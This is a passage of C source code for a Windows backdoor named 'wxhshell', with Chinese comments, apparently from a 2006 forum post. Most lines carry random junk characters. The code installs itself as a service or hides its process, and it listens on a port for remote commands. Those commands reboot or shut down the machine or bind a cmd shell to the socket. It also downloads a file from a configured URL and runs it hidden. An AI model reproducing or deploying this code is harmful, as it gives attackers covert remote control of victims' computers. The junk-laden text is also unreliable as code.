  else { k K|+W,  
!*UdY(  
    switch(cmd[0]) { yP4.Z9  
  \U>Kn_7m  
  // 帮助 "q/M8  
  case '?': { AV3,4u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :Ia&,;Gc  
    break; =T}uQ$X  
  } J4#]8!A  
  // 安装 xumv I{  
  case 'i': {  " 1Aus  
    if(Install()) 8mLU ~P |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4PM`hc  
    else q#3X*!)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -JK4-Hg  
    break; d( g_y m*  
    } 7e[\0:Z  
  // 卸载 r!,V_a4n  
  case 'r': { f.^w/ GJO/  
    if(Uninstall()) ScoHtX3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oz@6%3+  
    else 7!nAWlQ&-E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hvo27THLo  
    break; Y{tuaBzD  
    } V <pjR@  
  // 显示 wxhshell 所在路径 pPp nO  
  case 'p': { Lta\AN!c  
    char svExeFile[MAX_PATH]; ye2Oh7  
    strcpy(svExeFile,"\n\r"); )1 j2  
      strcat(svExeFile,ExeFile); M6#(F7hB  
        send(wsh,svExeFile,strlen(svExeFile),0); [`\Qte%UH  
    break; 'FFc"lqj  
    } :K:gyVrC  
  // 重启 .Kwl8xRg  
  case 'b': { (C@@e'e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); htym4\Z=  
    if(Boot(REBOOT)) rapca'&#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jpv,0(  
    else { E/']M~Q  
    closesocket(wsh); 6J+ZeBk??  
    ExitThread(0); $u"$mg7x  
    } kq0m^`  
    break; %WN2 xCSf  
    } !;Nh7vG  
  // 关机 7*"LW  
  case 'd': { qG]PUc>j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e|yuPd  
    if(Boot(SHUTDOWN)) I0RWdOK8K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *$D-6}Oay  
    else { Ngnjr7Q={T  
    closesocket(wsh); nB& 8=.  
    ExitThread(0); 5wX>PJS  
    } l:f sZO4  
    break; ?s33x#  
    } gwNkjI= ,  
  // 获取shell pj]<i.p  
  case 's': { +(%[fW  
    CmdShell(wsh); 3: Uik  
    closesocket(wsh); O_^h 7   
    ExitThread(0); #KW:OFT  
    break; nVzo=+Yp  
  }  V}qmH2h  
  // 退出 Dm#k-y  
  case 'x': { p#2th`M:P1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z- (HDn  
    CloseIt(wsh); P\e%8&_U/  
    break; >`'9V| 1  
    } I#U44+c  
  // 离开 j83 V$ Le  
  case 'q': { _@2G]JD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y9)",G!  
    closesocket(wsh); ^ BKr0~4A  
    WSACleanup(); sN2l[Ous  
    exit(1); vE(Hy&Q&  
    break; Dzr5qP?#  
        } jq{Ix  
  } 2wQ CQ"  
  } >qA&;M  
SZvsJ)  
  // 提示信息 [_n|n"M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G2D<LRWt4  
} $ cSZX#\  
  } n4johV.#  
?f..N,s  
  return; +E4 _^  
} ^h=kJR9  
h6/Z_ Y  
// shell模块句柄 Lt_]3g o  
int CmdShell(SOCKET sock) l1WVt}  
{ >kYyR.p.b  
STARTUPINFO si; Je,8{J|e  
ZeroMemory(&si,sizeof(si)); ;rgsPVbVf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *en{pR'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9lv 2  
PROCESS_INFORMATION ProcessInfo; x}d\%* B  
char cmdline[]="cmd"; rej[G!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~vmY 2h\  
  return 0; dp_q:P4; B  
} ZV;yXLx|  
qv6]YPP  
// 自身启动模式 ^iNR(cwgX  
int StartFromService(void) uk,f}Xc  
{ =xoTH3/,>  
typedef struct 7|rT*-Ia  
{ 1o%Hn"uG  
  DWORD ExitStatus;  t2iFd?  
  DWORD PebBaseAddress; nj mE>2  
  DWORD AffinityMask; 7Y/_/t~Y  
  DWORD BasePriority; qM+T Wp  
  ULONG UniqueProcessId; 8@-US , |  
  ULONG InheritedFromUniqueProcessId; A7H=#L+C  
}   PROCESS_BASIC_INFORMATION; R 9(^CWs  
-|mABHjx*  
PROCNTQSIP NtQueryInformationProcess; *?{)i~  
$`%.Y&A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RS~oSoAE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @kw=0  
\#slZ;&s  
  HANDLE             hProcess; fJuJ#MX{:  
  PROCESS_BASIC_INFORMATION pbi; JFfx9%Fq  
,P^"X5$   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h.nzkp5  
  if(NULL == hInst ) return 0; !?{5ET,gtN  
N *fN&0r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?=/l@d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VMp6s%m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +Ji dP  
*L=CJg  
  if (!NtQueryInformationProcess) return 0; v&Kw 3!X#E  
_ 0-YsD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tBrVg<]t  
  if(!hProcess) return 0; bTj,5,8 i  
eIJQ|p<v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vJ!t.Vou  
R-ci?7dt3  
  CloseHandle(hProcess); /-T%yuU  
lI9 3{!+>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5s;#C/ZZ  
if(hProcess==NULL) return 0; c!zu0\[Id  
W8)GT`\  
HMODULE hMod; f&:g{K  
char procName[255]; qp Z ".  
unsigned long cbNeeded; 5gGr|d|(  
sMZ \6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &PbH!]yd  
< javZJ  
  CloseHandle(hProcess); Y3?kj@T`i  
%Xn)$Ti ~<  
if(strstr(procName,"services")) return 1; // 以服务启动 N}\i!YUD  
NJ.kT uk  
  return 0; // 注册表启动 <T['J]k%  
} V;$lgTs|'  
?S"xR0 *  
// 主模块 &3rh{"^9  
int StartWxhshell(LPSTR lpCmdLine) ?pFHpz   
{ k:f Rk<C  
  SOCKET wsl; ]BA8[2=m  
BOOL val=TRUE; '2NeuK-KD  
  int port=0; &f[[@EF7  
  struct sockaddr_in door; ipsNiFv:  
so;aN'{6@  
  if(wscfg.ws_autoins) Install(); : M Md@  
4R6X"T9-  
port=atoi(lpCmdLine); E>&dG:3no  
q;rU}hAzG0  
if(port<=0) port=wscfg.ws_port; `+U-oqs  
Ab2VF;z :  
  WSADATA data; 1!~9%=%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |nD`0Rbw  
IySlu^a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =uHTpHR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7Ev~yY;N  
  door.sin_family = AF_INET; jk~< si  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >6Q-e$GS@  
  door.sin_port = htons(port); \o/oM,u  
PWTAy\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #N*~Q  
closesocket(wsl); nv|&|6?`oK  
return 1; $lvpBs  
} ~`y6YIJ3  
B|!Re4`0  
  if(listen(wsl,2) == INVALID_SOCKET) { d6u L;eR  
closesocket(wsl); )9}z^+TH  
return 1; }RXm=ArN  
} dme_Ivt  
  Wxhshell(wsl); *h`zV<j  
  WSACleanup(); ,$*$w<  
[xHK^JP 8F  
return 0; .^/OL}/~<  
ss*dM.b  
} STO6cNi  
T3\Q<  
// 以NT服务方式启动 @hk~8y]rz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6b@:La  
{ !y6 D+<k*]  
DWORD   status = 0; Rt+s\MC^r  
  DWORD   specificError = 0xfffffff; <=WQs2  
)AnX[:y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F*QGzbv)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^*Sb)tu\ W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j#29L"  
  serviceStatus.dwWin32ExitCode     = 0; gP`8hNwR  
  serviceStatus.dwServiceSpecificExitCode = 0; vuHqOAFNs  
  serviceStatus.dwCheckPoint       = 0; m/<7FU8  
  serviceStatus.dwWaitHint       = 0; Uc.K6%iI  
\ZXH(N*>2t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]2?t $"G8  
  if (hServiceStatusHandle==0) return; Z O&5C6qa  
=YR/|9(  
status = GetLastError(); 9\V^q9l  
  if (status!=NO_ERROR) < }G7#xg  
{ `w2hJP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 90;[5c   
    serviceStatus.dwCheckPoint       = 0; }.x?$C+\"  
    serviceStatus.dwWaitHint       = 0;  a(F%M  
    serviceStatus.dwWin32ExitCode     = status; A%pcPzG;  
    serviceStatus.dwServiceSpecificExitCode = specificError; {@k5e) Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K"eW.$  
    return; d&F8nBIM5  
  } @Kp2l<P  
OXI.>9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oGa8}Vtc  
  serviceStatus.dwCheckPoint       = 0; 8@Pv nOL  
  serviceStatus.dwWaitHint       = 0; "+p_{J/P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b3W@{je  
} 0m!+gZ@  
N\rbnr  
// 处理NT服务事件,比如:启动、停止 _8S!w>$)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P/4]x@{ih  
{ [*@"[u   
switch(fdwControl) 4;x{@Ln  
{ UE5T%zd/  
case SERVICE_CONTROL_STOP: S-*4HV_l  
  serviceStatus.dwWin32ExitCode = 0; tAefBFu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SZNM$X|T  
  serviceStatus.dwCheckPoint   = 0; Eb[*nWF=  
  serviceStatus.dwWaitHint     = 0; Tm qtj  
  { `|[Q]+Mx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u`3J2 ,.  
  } 4Z,MqG>  
  return; ?(H/a-(:v}  
case SERVICE_CONTROL_PAUSE: fM6Pw6k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tRFj<yuaq  
  break; YP/BX52 v  
case SERVICE_CONTROL_CONTINUE: 6Gwk*%sb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h,45-#+  
  break; `$7. (.#s  
case SERVICE_CONTROL_INTERROGATE: uPhFBD7  
  break; :>]= YE  
}; 4u0=/pfi[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gh#9<  
} xx_]e4  
g?qm >X  
// 标准应用程序主函数 !ffdeWHR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {%*,KB>b  
{ ?Mtd3F^o?  
OW;]= k/(  
// 获取操作系统版本 $C#G8Ck,  
OsIsNt=GetOsVer(); . _Bejh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *F[@lY\p  
 R5(<:]  
  // 从命令行安装 !`JaYUL[e  
  if(strpbrk(lpCmdLine,"iI")) Install(); m r&nB  
[> Q+=(l  
  // 下载执行文件 u1R_u9  
if(wscfg.ws_downexe) { UiO%y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ],V_"\ATD  
  WinExec(wscfg.ws_filenam,SW_HIDE); OrNi<TY>  
} ~bC{ R&p  
Yi1lvB?m  
if(!OsIsNt) { ]3nka$wA*  
// 如果时win9x,隐藏进程并且设置为注册表启动 .5 Sw  
HideProc(); `7[z%cuK  
StartWxhshell(lpCmdLine); yY+)IU.  
} `83s97Sa  
else d0vn/k2I  
  if(StartFromService()) ~PAF2  
  // 以服务方式启动 $dIu${lu  
  StartServiceCtrlDispatcher(DispatchTable); >MwjUq  
else 78T9"CS  
  // 普通方式启动 lV<2+Is  
  StartWxhshell(lpCmdLine); _~]~ssn,1  
>]s\%GO  
return 0; }coSMTMv6  
}
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只看该作者 1 发表于: 2006-10-10
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